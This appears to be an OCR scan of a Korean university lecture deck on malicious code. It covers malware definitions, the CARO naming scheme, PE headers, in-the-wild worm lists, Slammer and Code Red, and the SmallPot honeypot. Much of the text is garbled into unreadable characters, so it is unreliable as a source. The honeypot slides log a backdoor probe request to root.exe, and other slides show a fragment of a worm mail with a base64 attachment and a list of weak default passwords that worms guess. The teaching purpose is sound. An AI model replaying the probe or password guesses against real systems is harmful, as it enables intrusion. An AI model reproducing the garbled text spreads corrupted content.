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COMPUTER VIRUS
— Fred Cohen, “Computer Viruses—Theory and Experience’, 1984

* Wedefinea computer ‘virus asa program can ‘infect’ other
programs by modifying them to include a possibly evolved copy of
itself. With the infection property, a virus can spread throughout
a computer system or network using the authorizations of every
user using it toinfect their programs. Every program that gets
infected may also act asa virusand thusthe infection grows.

— LawrenceE. Bassham & W. Timothy Polk, “ Treat Assessment of
Malicious Code and Human Threats’, 1992.

» Thefollowing are necessary characteristics of avirus
— Replication
— Requiresahost program asacarrier
— Activated by external action
— Replication limited to (virtual) system
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WORM

— A worm isa sophisticated piece of replicating code that usesits own
program coding to spread, with minimal user intervention. A worm
might attach itself to piece of outgoing email or use afiletransfer
command between trust systems. Worms take advantage of holesin
softwar e and exploit system. Unlike viruses, worm rarely host
themselves within a legitimate file or boot.

TROJAN HORSE

— A Trojan isanon-replicating program masquer ading as one type of
program with itsreal intent hidden from the user.
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M alcode(Malicious Code)

— Defined asall kinds of executable programs, or macros, or
scriptsthat are produced in order to intentionally damage
computer systems. Thus, bugs occurred by programmers
mistakes, which are not intentionally produced are not
included in the category of malicious codes. However the bugs
being really harmful to computer users are sometimes
categorized as malicious codes.

M alwar e( Malicious software)

— A general purposeterm encompassing virus, Trojan Hor se and
Worm programs(and possibly others). Themain ideaisthat a
program ismalwareif it ‘does something bad or disagreable’.
The experts may debate whether a password stealer, remote
access Trojan or ‘network creeper’ isavirus, Trojan or Worm,
but all are generally agreed to be malware.
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VX( ViruseXchange)

— Atermoriginally used to describe the open exchange of virus
samples, that usually involved “ swapping” (as commonly seen
on VX BBSes).

I'n contrast, the careful, professionally moderated transfer of
samples between antivirusresearchersis predicated on high
level of personal trust between those sending and receiving the
samples

V Xer( Virus eXchanger)
— A personinvolved in VX activities.

However, there was no handy, short term for ‘viruswriter’ so
‘Vxer’ isalso used to mean ‘someoneinvolved in virus
exchange or viruswriting’

ICE1212 - Malicious Cod © R4, 9
. IGouS©00€ |t ormation and Communications University

PN

=5 A
CX:;' 4T =)

1tW( In the Wild )

When a virus is reported to us by two or more Reporters, it's a
pretty good indication that the virus is out there, spreading,
causing real problems to users. We consider such a virus to
be 'In the Wild'".

— On the 15th day of each month, the formal WildList is
extracted from all verified reports, and published at

The WildList Organization International
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ft Internet Explarer

M ) It8) SHID SSWH) |

EEHE -2 - D E 4 BEe @EHRY 38220 | B SE
TE @13 ABA BE »|| F D) [@] hun://search.yahoo. com/bin/search?o=VIRUS =l @os |
Web Site Matches 1-200f 467 | Next 20 > Word Wirus: The ;I
Wllam 5. ..
1. E-PROT Professional Anti-Virus Toolkit Bigelow's Virus ...
hittp: /e, DataF ellows. comsproducts/anti-wirus! more...

More sites about: Virus Protection = F-PROT

2. E-Secure Virds Info Center - includes news, hoax warnings, screen shots, and update bulleting
it p:Ffwem dat afellows. cormp-descs!
More sites about: Computer Security = Viruses and Worms

3. Virus Bulletin - technical journal an developrents in the field of camputer viruses and anti-virus
products.
hittp e virusbin.com/
Wiore sites about: Computer Security > Viruses and Worms

4. Trend Virus Information Center - provides news of new wiruses, an encyclopedia, security alerts,
weekly supports, a place to submit suspicious files, and more
hitp: e, antivirus. comsvinfos
More sites about: Virus Protection > Trend Micro

5. FE-Secure Anti-Virus - official site.
it p:fwem EseCure. comspraductsfanti-virusrwarkstations/
More sites about: Software Reviews > F-Secure Anti-Virus

6. European Institute for Computer Anti-Virus Research (EICAR) - leads task forces, arganizes
conferences, and publishes documents
bt/ gicar. org/
Wiore sites about: Computer Security > Viruses and Worms
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7. CDC:Wyest Mile Virus - site offers general questions and answers, local outbreak information, control =l
@1 Fipi//search, yahoo, com/Bin/search 7p=vIRUS HIOIA = =.., !ﬁrh’%ﬁﬁ—g@_/
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Buy Anl us Software Cheap - Norton AntiVirus 2002 $18.99 - Norton
AntiVirus 2001 $9.99 - McAfee Virus Scan $14.99 - plus thousands of other
great deals from www. SoftwareOutlet.com.

Download Norton AntiVirus 2002, Save Big

Download Norton AntiVirus 2002 immediately and save $25. Receive instant
virus protection. Purchase for $44 .95 and receive physical media in the mail
with free shipping and handling.

Sophos Anti Virus Evaluation Download

NwTech offers a family of server-based security applications, including virus
scanning, content security, spam filtering, domain blocking, text scanning and
encryption.

We found 3,110,940 results:

Compare Prices and Features on virus Powered by DealTime
Search for the best deals on the web on brand name virus

Other matching categories: Networking & Utilities Software Business &
Communications Software more...

= us downicads ZDNet
Get downloads on virus
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g D@ 4 oza 2 B==w0 |- S E-DE R
W Z]23 AR ES »“ F (D) [&] htp://search.lycos.com/main/default aspPipv=1aloc=searchhpaquery=vIRLUS =] @os \
WWEE RESULTSZ(Showing Results 2-11 of 5,068,704 h =l
2. ¥myths.com=- Truth sbout Computer Yirus Myths & Hoaxes - Learn about computer

wirus myths, hoases, urban legends, and the implications if you believe in them. You 1

can also search a list of computer virus hoaxes from A to P e e—

btp e karnite, corn/mpth= 73 href="http f/sidesearch.lycos. c\:mﬂ e

query=vIRUSEfirst=18gi= 1&hurl=http363A%62F % 2F www3s2EKUmitess2Ecom3s

2Fmyths9%eF"

onClick="target='"_search';location="nttp://click.hotbot.com/director.asp?

id=28:target=nttpoe 3496 2F % 2F ww w9 2EKUMite96 2ECOm I 2F my thsd
2Faquery: TRUSErsource=LCOSWF'jreturn true; ">Fast Foreard7font color="#ffooo0"
size="-2">7/b>

3. Virus Bulletin Home Page - Home Advisory board VB 100% award Subscriptions
Conference Yirus Hoaxes Project YGrep Prevalence Tables WildLists A% Links Events
Reprints Contact Us THE INTERNATIONAL PUBLICATION ON COMPUTER ¥IRUS...
Rt s wivu b, o 73 href="http: //sidesearch. lycos.com/?
query=vIRUSEfirst=18gi= 1&hurl=http33A%62F %6 2F www362Evirusbtnss 2Ecom3s2F"
onClick="target='_search';location="http://click.hotbot.com/director.asp?
id=38target=Nttpo3A9%2F %2F wwwS2Evirusbtn%2Ecomds
SFequery=YIRUSSrsource=LCOSWE '} returmn trug; ">Fast Forrard?font color="#ff0000"
size="-2">2/b>

4. AYG Anti-Virus System Main Page - AYG Anti-Virus System Main Page
Bt ansoft corm/ 78 href="http: //sidesearch.lycos.com/?
query="IRUSEfirst=18gi= 16hurl=httpo6 3496 2F % 2F www E2EgHsoft 96 2EcamIe2F"
anclick="target="_search’;location="http://click hotbot.com/director, asp?
id=4®target=http92A%:2F 2% 2F www % 2Egrisoft3 2Ecom.
2ZFaquery=vIRUSarsource=LCOSWF'; return true; ">Fast Farward?font color="#ffoooo"
size="-2">7/b>

&. Swymantec Security Response - Hoax Page - 71995-2002 Symantec Corporation. All L Y COSI_I
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Win3Z2/Coleyo, worm, 188928
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IES | EEENED
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CARO

— Computer Anti-virus Research Organizations
- REES SAZE CHEIHIOI A A AFOIE
— A New Virus Naming Convention, 19912 & &
- FEHAASIALIN=E & 5. > HEs =AM

— & T CARO Namming Convension)i & &S

— Z0IJt B2 80l A0 CHet HE 22 Family_Name2 2
Trivial2 & 5t1, HE2 Trivial.lengthZ EJ|&

J

- S30| el= BloldA = Sillyz o+, 2152 Silly.len
— & =3 t "l & =S (resident versus non-resident) 2 2 27

>.
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AEE
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| Family_Name | .Group_Name |.Major_Variant|.Minor_Variant|
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<malware_type>://<platform>/<family_name><.groupname><.i
nfective_length><.sub variant><.devolution><.modfiers>

*Malcode_Type://

«<Platform>/ | <FamilyName> | «<Group Nam»-ldnfective_ngthl» e<sub variant> |

| Virus:/ | W32/ | Celevo | | .188928 | B |
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— SAIS SUSHCID G2 0I20| 22 £ Y=o

- 0l N22 ZHHY 2 Ahnlab, McAfee, Symantec, F-PROTS
2 3 0tXl= & 2 S but Hauri, AVP, TrendMicro= &
& 20t

- J|ES HHH2 FAELE 0|8 RHAMDE EcICh=2101 4 2 S

— A0 S25X 0|ES HlWolo B2 £Z 0l 2018

— Win32/Babo.worm.189232.packed -> worm://Win32/Babo.189232#upx
— W97M/Hua.B, X97M/Hua.B or O97M/Hua.B -> {W97M, X97M}/Hua.B
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FFFF wHdSize=wHdPage* 16bytes
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18(Bx14) wChkSum

208(Bx16) wiP LT
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aes duTimeDate ﬁ 3 E 3 14 """ 1|] """ 18 """ 1[:““22“

eec duDebugSymbolTbl  [qf CODE .text  O0BH1000 BGS0FO 6001008 036000 03AG0000 GEDFDE 60090
a18 dwHumber0fSymbols

a1k wSize0fOptionalHeade 82 DATA .rdata  0AGG7000 GAG1F1 60007000 01090 OAAARAA BAAAAG 4AAA
016 uCharacteristics 83 DATA .data  0A@OR00 G62470 GO0G3000 1RG0 O0AARAAA BRAAD CAAA
018 utlagic . |BuDATA .idata  A9AGBOO BAGAO2 66003080 BA10G0 ARAREAA0 66Aese 4oDAA
a1a byHMajorLinkerVersion

018 byMinorLinkerUersion| 8 DATA .rsrc  BORGCO0D AB4E70 0B06ARAA AASGGA AAGARAAA GoA0AD LOAAD
01C  duSizeOfCode |46 DATA reloc  OAH1080 61800 GBQGFAGO Y160 ARGRANGA ARGRGD 200
az2e dwSizeOfInitializedDpva o usuy

a2y dwSizeOfUninitializedData : 5]

828 duwEntryPointRUA 5 3388

az2c dwBaseDfCode H 10888

a38 dwBaseOfData 5 7oee

a3y dwImageBase H Loaaoa
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=0 Jtol | AR W vild | [mong
T ES Jlsae N ORI o [G]| ORROE) ON
#1728 81 1 (Entry Point Obscuring Scheme) ) 1 LUK i
___ @emzeamd OBNE) O ) O g
15— HER(E) 0 M) e
| zes r=w NN CEN O O O ol
| pua— A aammc A OB
§ == £ EER ) ) HAE) 0 T
BT T ) FF1 Ot || Rl g [t
é [ALL HERELE2etlersion 100 [4190] 3t — AR S il W) £ i 5,
| g :Ig: E:ﬂ?:gg],eax CALL HERNELS2/Getlersion W) 2 IR R B 2+ ot =
| ISR TR TR L. ¢




& St

o o)

20034 18! 262 SQL_Overflow(Slammer)2 IEHY0| OIHIEIAS
MEtRo=Z 0| BIIot] A= A2 B (U0l A= F=5)

2003 B =2 & H HIOlHA &A SEH(=U)

== 18 | 238 | 38 | 48 | 58 | 68

B0l
A 1 2 2 2 2 2

= 8 13 11 10 17 17

&S St
=)

o (2)

2003 Win32/Opasoft. worm. 320 Koy Gateworm 132096.8 «
Win32/Banu [§n32/L ovGate.worm.142336 «
Win32/Damm.1537
Win32/LovGate.worm.1g .|
Win32/LovGaiewors . . Win32/Kindal.worm.27648«
*Win32/Gentfy;1587 Win32/Mhvc.worm.53251«
*Win32/Slake..worm.28672.C Win32/LovG: 2 i 2/Mofel.worm.35788 «
“Win32/LovGateworm.205824 \Win32/LovGate.worm. Wing2/M 16384+
*Win32/IML.29696 Win32/Gentry.20484 Win32/Palyh.worme"" No4/Mumu.worm.
*Win32/IML 3271 ovGate.84992.Bin32/Fizzer.worm. 15360« Win32/L ovGate.worm. 155648+
3997/ Scvcon.wor, 5PEN32/L ovGate. 107008 \vin32/Fi zzerv\\/’vorm 7 S‘."‘ Worm 27648 «
*SQL_Overfl R in32/SdDrop.worm.26000¢
o Win32/Agobot.worm.237568.8 wing2Hozarorm Win32/Y ahaworm 51424
X 0rm.272385*Wi nagoDdoder -worm.745984 Win32/Pendex.worm.48640+ ’
R +Win32/Agobot.worm.104448.C i SCAleworm. 127488 .
gPewdiorm 237568 n g=worm. Win32/Opasof
MAT6 . pasoft.worm.45558+
Opasoft.worm. 18432\gm32/Freethem wor 6.C Win3: atesyorm.127488.B

Win32/Mofei. worm 33165
488.E+

*Win32/Roron.worm:§1928 (Nin32/LovGate.worm.127.

Winasgotior i iGe e 107008.8 WinS2/SobigY A Eeondex worm. 32256+
“Win32/Idtsys.36864 Wi n32/Naspree Worm 48080 Wing5/Tenrobot.Be Win32/Bugbear.B
Y¥ip3p/L oveGate. 107008+ Win32/LovGate.worm.133120+
: *Win32/Vahome.worm.
*Win32/Agobot.worm.241664 “Win32/Slakeworm.28672.8  Win32/SpyBot.worm.44064+ Win32/IRCBot.worm.83414 «
Win32/0 ft.worm. 18432 *Win32/Slaph.worm.377858Vin32/Y ahan.worm.45568.B Win32/Agobot.worm.104448¢

Win32/Randex.worm.37376¢
“Win32/ExploreZIPworm.91048  -Win32/Slacke AT agaas orm: 155736 win32/Roron.worm. 71680 win32/Deborm.worm 96112 +
Wi n32/Got’tW¥§t§5‘ worm.44544 Win32/SpyBot.worm.449fBRandex.worm.40960+

me%o2 83 22015001 5151 28 iy
— ADSL/VDSL AFZ0| Z0t5tBI A WIEH T 8240l Z0Ha | | Wing2iMrt '?wo?a?é’é%é”f”""m“tvrinsmeammmsko '
- UIESIAMNA SQL/Overflow, Codered.FS2 30| 2X & [ [ | |
— Personal Firewall £X Z240| & 1 2 3 4 5 6
- © &Y. - © &Y.
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=3 & Sk
o S o O @)
SHITE MEN 2=2HH AFZ0| L8tstE iL:;:itnistramr OHIDC MENH ASAHHE ML= 0l57
VISUAL BASIC, DELPHIS 129 HE ( — HI=LZHl0|= 1 20| 50 E0/8 HHE 012
olmgs _%J%::::’g O;U'.gt: - Paszwords: - #2 XA0| gtctes e dEHESS 010t s
MIMEZ2 2 0|26 St = 4
C NSR SSE Hots LBoz SE L Cmy e o= s s
g) Oh= 822 KBy - WE=UDL USRS B0 3550 8ol
"3
R -2 A | A =M =oA
=== T S S m2345E" Xoz Ags
IIS SQL- Serveru et AER HLEQ H  ssdzz1n . . .
e OQ T = "administratar” — Win32/Nimda -> Visual C
“acdmin” . . .
OUSI} AEGK| US B2 Hoks A| AR 2 11111" — Win32/Sircam.worm -> Delphi
— DPIWOIR ASE AKX U= AlA" 2 — SQL/Overflow(Slammer) -> ASM
— Admininistrator2 23 & & XI6HAI 2 AL "aEC; )
o DX A =l "abcoet” = = == =
e A U0l = "abcdety” A MY A2 Soll CHE DEZ HEE
oETs - A=2 ZXRGISZ YA XIS oS
2ol YAS WZO F2 MY 1Y USE A2} )Y US
L © &Y. - © &Y.
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S

00!

(5)

— Visual C
ITWS| 2f 31.4%, ITZ2| 20.8%Jt & &
 WININET &€ WSOCK, MAPI 2t0|E¢eielE 0|=&
« Win32/Klez, Win32./NimdaSo0| HEA
— VisualBasic
ITWS| 30%, ITZ2| 41.4%Jt & &E
e P-CODED|PtS| ZIIAE DE MY
e AF LIS RES0| EHIZIH US
DELPHI
o ITWS| 2 14.9%, ITZ2| 15.3%J} HEE
« Win32/Sircam0| HE=
SMTP & MAPI 2EZHEE0| 012

[1IS/Codered
- IS AHS BHH QLHEZSR SHE S&H 2 &t
— MS01-033 : Unchecked Buffer in Index Server ISAPI
Extension Could Enable Web Server Compromise

SQL/Overflow(Slammer)
— UDP 378Bytes®| 3! LIl SQL MHLHOIA & SHE

o

- ¢5A= 38R
S/Spida
— 1433ZEZ SAZQ! FHAA (2SI & )08
- MY &8s 252 L& SQLAMH 38 ’SE RE
— SQL MBS SA(System Administrator)2l &S 210 &%
— Q313418: Unsecured SQL Server with Blank (NULL) SA
Password Leaves Vulnerability to a Worm

» Win32/Lovgate.worm 2| Ct%=

© &Y. ©&ny
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x| Ok X4 O | =
T o = (2)
_ =Xt z;=_| OtI-I O| =
o T @ngvwv(a.m\Q,ﬁ [ EAHET| @m[lm B DS E- A
AE—_avnlait =200 [ ] hitp:/wirw. micros oft corn, koreatechnet/ ss curty fourrert, asp
3 =[]} 200349 48
— g|t Technet MOILE MS03-015 : Internet Explorer 5= WA » (F& FMINES) (Z[E AHSAE) nNewr
Content— Type- ml‘]ltlpartlrelated :l ook Fepress =X G, (HA HM2ILS) (S ASTS) New: J
type="nu indnws AD WA AFIMAZI WA THIZO T B Her 55 2R . (8 BT |
boundary == ﬁBE123hSﬁ7sDBDEF

X-Priority: 3
X-MSMail-Priority: MHormal
x e

insock ZRA MHIASHISA @5H MHIAS) 2SO I8 NHIA R (DoS) Jh5 8
= NETs)

MS03-011 : Microcoft VM2| ZEOR QIpr AAM 28 » (M WSS (M5 MSTS)

é

——===-_lBG123456789 DEF_= 20033 38
[Fontend-Tupe: audio/x-wa R
Mame — “README _EXE™

Content-Transfer-Encoding: base6h
Content-1D: <EA4DHGBP9p>

e - P (EE B2E: I

T AAAA/ /BAAL ; SIUHE N2Y F2AE HE A= =TT =

izSBy
duugawsgRESTIG1UZ GUUD]BKJAAAAAAAAADNYUNNALaMXiYnjF amJoxe JCr8ZivijFung
wB6.JjaHEiWC8Gonloxe JUmljalmjF.
TAEDAD1eYj LAQYAAL

I drucAnl

EARAE!

MS03-004 : Internet Explorer 5% WX » (& HENS) (£S5 ASTHS)
20034 13

SrelfiE[0f - B0 READNIE EXE o
g%ﬁ%%mﬁ%@ %nnﬁﬁngfnnEﬁ%Euanaaaaaaaaaananaaaaaa

TVQUAAZ AR SFE HE S TENINEH'ES sl

utlook 200201 ¥1 Cxchange Server M2 9ISAIS CHF & 201 20l UOIA BT
T BEIHE). (FHE MERS)

MS03-001 : EHOIE MHIA2 3N P2 HEHE 2151 DEJH 82 4 7,; TP |
& [ [eoEs ﬁll
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ED ESHH

52 | oo & B & E|
D) [&) http /45 ourceforge.net/search/ ~| eos
JFr— Search results for SMTP workstation | =l
E NBOOW
- Project Name Description Files Activity
. ﬁ:fnm'}arm vansopoper. | Y8hooPOPs! is an apglication which emulates a POPS/SMTR mail server
: and provides free POP3 and SMTP aceess 1a Yahoo! Mail. It does nat =
. Efjf;‘erg‘zfe‘;"a”‘” isii’f:‘g‘r\zhm depend on Yahoo's POP3/SMTP mail server. You can use a mail client of .
- 1
- Cortact SF_net Support liehoice:
SquirrelMail is 3 PHP2-bassd Web email client. It includes built-in pure PHP
support for IMAP and SMTP, and renders all pages in pure HTML 4.0 for o
St RN Gy s B [ s (e RINE S, ey | = | A4S
manipulation, etc.,
Libcddb is a library that implements the different protocols (CDDEP, HTTF,
—_————— libcddb SMTP) to access data on a CDDB senver (hiip:/fieedb.org). It iries 1o be as 97.9614
1 Gaim cross-platiorm as possible. The initial libary will have a C AP
2 Tiki Sylphesd-Claws - it bites! A T+ based, lightweight, and fast e-mail client

2 phphiyAdmin Sylphsed-Claws  2N0 newsreader. Supports POPS, APOP, IMAP. SMTP, SMTP AUTH, 96.7811

4 JBoss.org NNTP, LDAP. Features multiple accounts, spel-checking, address book,
5 eMule for Linux SSL, GPG/PGP, fitering, scoring, i18n, & more
6 POPFile - Automatic Currently: Mailclient implermenting pop3, imap, smip, nntp. Future: Project-
Emgil C‘ﬁ“‘“f“ﬂ" Mailsomething  tonl for groups of people with a widespread of functionality facused towards 96,4495
;C‘)’;g;’sﬂh:?;i . group-callaborability
ceessto
The Courier mail transfer agent (MTA) is an integrated mailigroupware server
ah a l ‘group:
based on open commodity protocols such as ESMTP, IMAP, POP3, LDAP,
8 PCGen - A Charact =
e aracter Caurier Mail SENEr gg) and HTTR. Courier provides ESMTR, IMAR, POP3, Webrmail, O | eRimm
Sl calendaring, and mailing list services
10 Gimp-Print - Top This is an email sewer in a box. Using Idap authentication for imap, pop3,
Quality Printer Drivers smip, and SSLITLS versions of sach. Includes web user-interface (MP 3.0), g
RH Email Server o administration, web filters. Installs on top of RedHat 7.2 in under 40 G ey
More Actiity>> minutes by running one scrip
Internet Professional is a set of WCL components providing Internet
ilopiDovenioads I ﬁ;ﬁgz‘“we' connectivity for Bortand Delphi & S-++Builder. PRO includes POP3, SMTP, .
ol e NNTP, FTP, HTTP, Instant Messaging, & HTML viewer components, as wel ;
H jED”sz o as components for low-level socket access.
3 Dropline GNO A (short for et Another Mailer) is a MIME-compliant Intemet mailer
A Crnart n f . o wiritten for AminaOS computers. It supports multi-POP3, APOP, SMTP - LI
@za =T

© &Y.
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=S2H) [
at | @aEy & oo @2 S
Z2:(0) [&] hitp /7 www. naughter, com/’ = po= g2 >

=

Network Freeware

CPop3Connection - an MFC Class to encapsulate the POP3 protocal

Sy ¥

IPEnum - an MEC class and console app to sllow 1P address enumeration

CSMTPConnection - an MFC Class to e the SMTP protocal

&

CPing - an MEC class to encapsulate the PING protocol

CServerMailslot & CClientMmailslot - 2 MEC classes to support Win32 mailslots

CRasMonitor = An MEC class to monitor your Dial-Up Metworking Connections

CHamedpipe - An MFC class to encapsulate named pipes

CanonymousPipe - An MEC class to encapsulate anonymous pipes

CSMTPClient - An MFC class to encapsulate the SNTP protocol

CTraceRoute - an MEC class to Trace Route functionalit: -

Popwatch - An application to monitor your POP3 mailhox

W3Mfc - & collection of MFC classes to implement a Weh Server

K - & collection of MEC classes to implement 3 Socks Server

CEEHBE [k B

ket - An MFC wrapper class for Sockets

@ [T [@eET A

- © &Y.
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HAXNE 0|86 9.”";‘: i%&
— HIAIX &0 IS 88 s -dS
A Stz M40 Qs A™ Jisd
— & ACHOIA 21X ALOIE URLE &S
JS/Exploit-Messenger
- o M5
« MSN SDKE 0|E5t( IS & &= UAS
Win32/Supova.worm, Win32/BR2002.worm
o J|EI HHQP|IIAQ 22 Z2 03 29| M s
HEE M2 NS 2 £=4AlotAl &0 F=2lotH Lidl ol Jis
PZPE 0|8t LI it
- S IY, 93l I U EYH ATEYY O WE HWEZ 0|8
— AIS TN HI0IHA 2HEN REE &= UAS
— Ac|HtCH WinMx, eDonkey and eMule, Kazzar
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a7

F =10l
File Edit View Actions Help

SLEME FIC TS B2 U O 2 Neverlgive out your password or creditl card
numkber in an instant message conversation,

& PO (4IKBIE B says.

g gLICE # M 1E D12l

i T2 AEE Ao AT AR + Sl . S—
Ck program for me? QI rmade it myself and

want people to test it Its a readme with the
program that explains what it does!

- . - downl0ad/BR2002. exe
¢-- There you can download it! give me
advices on what to upgrade please!!

@ﬂg A 22 o -oomz @ Block A Font 45 ~Emoticons

BH71E) Send

A At A Anibinc.
DFI2 BAAIS 812 A2k 2oozar20 2 - S | [Last message received on 2002-10 v . ‘
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@ S00 GEBANDWIDTH - $99.00 /MD
&  DEDICATED HOSTING. |
@D horme @ search @ transfers (D) shared B9 friends @ sorvers @D statistics
[Sceron s | Forma [any | e ®
[or= (a0 258y || hacking (743 || s 7T €05 [i_sva (983 || debusger]
Name ~ Size Tupe Format Availability A
F= Hackin 149,37 Pro =in 1
XBox (emulaturs Bins. hacking. utities. skins. etc).rar 108, 74M Fro rar a5
Unise. b Ul Unix hacking cafmmands ic Pro exe
ULTIMATE GUIDE TO HACKING ULTIMA GNLINE ACCOUNT. . 11k Doc doc 3
Frogramming_Hacking_Crackina_MCSE_Cisco_lnix_Linux_et,.. 47,39 ki
password prafected-<fie-hacking. oo 0ic Doc doc
Lesson 09 - Passwort 1>< Doc et 2
Hacking-Expoead. srdEde T ¢ 9 560 Fro rar ]
Hacking.45min, 1934 VHSFIP. Danlsh ~Speech.interview, Sprock, . 525, 94M 11z
Hacking" password revealer, ex 4k Pro exe
Fatklng *B0% FOF TBlc Doc pdt 4
Hacking Windows xP Product activation. doc 4Bk Doc doc 1
Hacking Msn <13 da Bl Doc doc
Hacking Javascrist Websites. doc Tk Doc doc 3 5
Hacking inta compuier systems - a beainners guide. doc B2 Doc doc 3
Hacking 115 5 and Wab Applicatons-hasking. panl. sl 3am Doc Pt 2
HACKING HOWTO, zip e Pro =in
hacking hoimail passwards (13.doc aic Doc doc
acking hotmail acount,doc Tk Doc doc
Hacking Garmin eTrex GPS receiver, him 0k hirn 1
Hacking for dummies - Access io other peaples systems ma... 1.ZEM Doc poi
Hacking Exposed Metwark Security Secrets & Salutions, Thir... 1,88M Doc paf 5
Hacking Exposed drd Ediian LD 120 71.95M
Ha Cisco Rauters, pdf 8k Doc pf 8
Hacking a SAP Database 6k him 4
H il Password Hack txt k Doc et
Hermiessacking <ip Pro zin 0
Hacking-with-sub7.d OEk Doc doc i
vide To Hacking DirscTV - DSS - Satellits Access Card Pro... B52k Doc doc 6
e Hacking Tutarial, bt i Doc et
FIXED Useful -hacking 100l _from_FBI_-_cracks _servers_and... 258k 4
ebook-pdi-Hacking GermarHackers Guide puf 56 Doc pdf 2 3
WHEEE Clarn lne a1 Bro i i ~
S |5
Sending search.
{ON Connected} (__JIKA,NET movie server__AIFHN2! Open| Users: {258048) (29566) Files: {0} (2076784) Down: 32,8,/44.9 Up: 54,2,

IRC §3‘1\ =k
EE{ $J ITO=EE
H4 32 I 221 EDzk @3
ME ME
ey 22 E=
ES ~| [Emcady | (E=AE )
B RS EES
|81 wiri (53 | B wirus t24) \ TR ATH
nz= EE] 2= | S
VIPUS Probeion AQAINSt FOrn xxK, exe 1.62 M8 Z31(1)
E EE M
22 Bytes B3 (1)
863 15 MB agl)
255,67 ME 13(1)
16,26 ME 41)
19 Bytes 401
19 KB 4(1)
11,12 ME z{1)
1.26 MB 2{1)
36,51 MB
49,14 MB 401
EyGen. 170,73 MB A1)
se v 7.0 [Suunlsh] Lo spanishare.com].rar 353,13 MB +(1)
Studlnjundleisharedﬁv _C36]---¥IRUS_ALERT rar.txt 131 Bytes (1)
1al_Fra_%.09_fr+SeriaiReg_z007.2ip 13.5%4 MB 31
L  Beraonal 2 DA ST A A AT A ) 1=Am
=
SIS S0 AH B APSER 1K), 0BM) | ITHRY: 1,320M(83,1! 4 & 0.4 | C+2: 0,0 G0 S0HE| MH

- © &y, . © &Y.
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x| 2 S
z2 A4 Sea) SMALL POT\

HONEYPOT Costin Raiu0l 2/5H 2002E 0l 201 &

— HIOIHA &tat Y ﬁ'—’é— gD HES ASH AL Rumania Anti-Virus Analyst(Kaspersky Lab0ll 2/ &)

— QIHY M0lA 30| QA= ZEE 21 S&E AIZ2d(0] http;//www_craiu_com

Eol 3A= P:*O} -3 UHE2 gz NEE L)
- S SPZLHIAMNE SGHHIIE MZ2 TH20l S LIS

Ol US
— 8T Kaspersky Lab 12|22 ICSANIA &5 A&

« Kaspersky Lab. —Smallpot@ 2 Linux&0lAd UWERK3IZ
&= ol AL E0| 0|86t HEHQI ZESE 2
Al (80, 25, 21, 1433, 1434.. Etc)
ICSA —WormWatch& Windows & 0lA HIERIZ 8¢
&= dtoletALE @0l 01 &3dt= EH“"*Ol HLEE 2ZAE
(80, 25, 21, 1433, 1434.. Etc) - | L 2 &2 &

http://www.wor mwatch.org

— SmallPot = Small Honeypot

— Cordred.CE ZLIEHE olJ|®IoH Al ZE

— FTP, POP3, SMTP, SUN-RPC, TELNET, UPnP, MS-SQL,
SSH, Netbus, SubSevenS2 ZLIHE &

- YHE RS A0 oY B2 =20 L =3 W3 =& E

— WIN32Z EZ UM H-et A2 M AUAS

- csAaZ208= ZLE6I0 &AE
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SMALL POT(

Smallpot Statistics May 2002

Wy N
i

! ¢ R
LTSS v 980 oW Ninds AE)

P é ;

TS LSS & &f p 85 wom/SQLSpidaB

At/ bl 19 vom/IISCokRed
378 unknown melware

074 shlSSH_I5_ANTISECURITYIS
073 ssh://SSH_VERSION_MAP
061 pe:lfpeinfo_services_list

2001.11 ~ 2002.7

© &gy
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SMALL POT

TCP Port Number Connection attempts Service name
Port 80: 115063 HTTP
Port 1433: 6484 MSSQL
Port 21: 1198 FTP
Port 22: 466 SSH
Port 111: 445 RPC
Port 27374 312 SubSeven/backdoor
Port 23: 134 telnet
Port 25: 132 SMTP
Port 515: 82 Ipd
Port 12345: 18 backdoor
Port 5000: 10 UPnP
Port 1243: 9 backdoor
Port 31337 2 backdoor
Port 23456: | backdoor
Port 6666: | backdoor
© A,
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SMALL POT

Visual CZ &4 8
Multi-thread &2 2 WSOCK32.DLLE 0|&510{ 2 &
19 TCP port€ S0 BAE 205
|:H||:I'E 50t HE6IH 2FXE =Y

ZZE0| HAEE M3A5t= 2SS UHHIGHH CHESHA
§.(-r|°”‘* U= HEO CHE 20| 0IFHA

3

ol

HH OF

frp://

220 nemo.mvsiwdb.org FTP server (Version wu-2.6.0(8)) ready.

220 linux.uuhohe.kr FTP server (Versicn wu-2.46.1{18)) ready.

220 orion.wpbo.uc WU-FTPD server v2.6, running on an 1186, ready.

ssh://
S8H-1.5-1.2.27
SEH-1.99-0pensSsH_3.2.3pl

© &g,
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SMALL POT

+=4IE HI0IE NMel
— CRCE 0|88t JIZ HI0IH 2 HI
— SOHQ CIOIA HIolA Ol
 DB1
— Q0| EMtE RE
— External DB-IH2!0| HBHU S=E IH3!
« DB2
— SMALLPOT.CRC
— ‘Fixed’ RequestZE X &&t
- SES YN0l 2R - R0l S8t Mot E
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SMALL POT

«ZHE M
GET /scripts/root.exe?/c+dir HTTE/L1.0
Host: www
Connnection: close
Cache-Control: byvpass-client=1xx.lxx.lxx.lxx
Connection: keep-alive
Wia: 1.0 xcache
K-Forwarded-For: lxx.lxx.lxx.lxx

=3
S T

GET /scripts/root.exe?/c+dir HTTE/1.D
Host: www

Connnection: close

Connection: keep-alive

Wia: 1.0 xcache

SMALL POT(

Subject: Smallpot !Unknown Malware! (port 1433)
To: smallpot@. ..

Warning: Smallpot received a new piece of malware!

Malware name: unknown malware{52 byvtes)
Local port: 1433
Source host: W2 216 . 2xx . 1xXX . 2XX

e port: 4591
Mon May 20 05:31:29 2002

Smallpot versicon 1.41
FRunning on: JOE-MOUSETRAP

“urrk e report.

Ssubject: Smallpot - Known Malware Received {worm://IIS/CodeRed.B)
To: smallpot@. . .

Warning: Smallpeot received a new piece of malware!

Malware name: worm: //IIS8/CodeRed.B
Local port: 80
Source host: host-...d...com 2xx . 2xx. 43 Ixx

e port: aQ2sg
Wed Jun 19 20:29:33 2002

Smallpot versicon 1.43
Running on: IGOSHA-LIPUCHEA

Sample Smallpot ‘Known Malware’ report.

aici od © &Y. aici od © &Y.
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Roger Thompson®il 2|3 200130 201 & b o EIET E
g p Oil_—_I_H '_0" -+ HD Qrz- O ¥ B G Ozs dreazy @uon @3- M| - 33
- ICSA Lab 0'" A-l & 5°H g [&] nttpi/eewew, warmwatch, ora/about/
— http://www.wormwatcher.org WormWatch.org [
JH 8 WormWatch.org
— 20014 _‘?'_El }\| &%l Home of WormCatcher
o =] T = = Welcome to W WormCatcher v2.14
- 30l AtZ2ols ZEE ZLIHEE
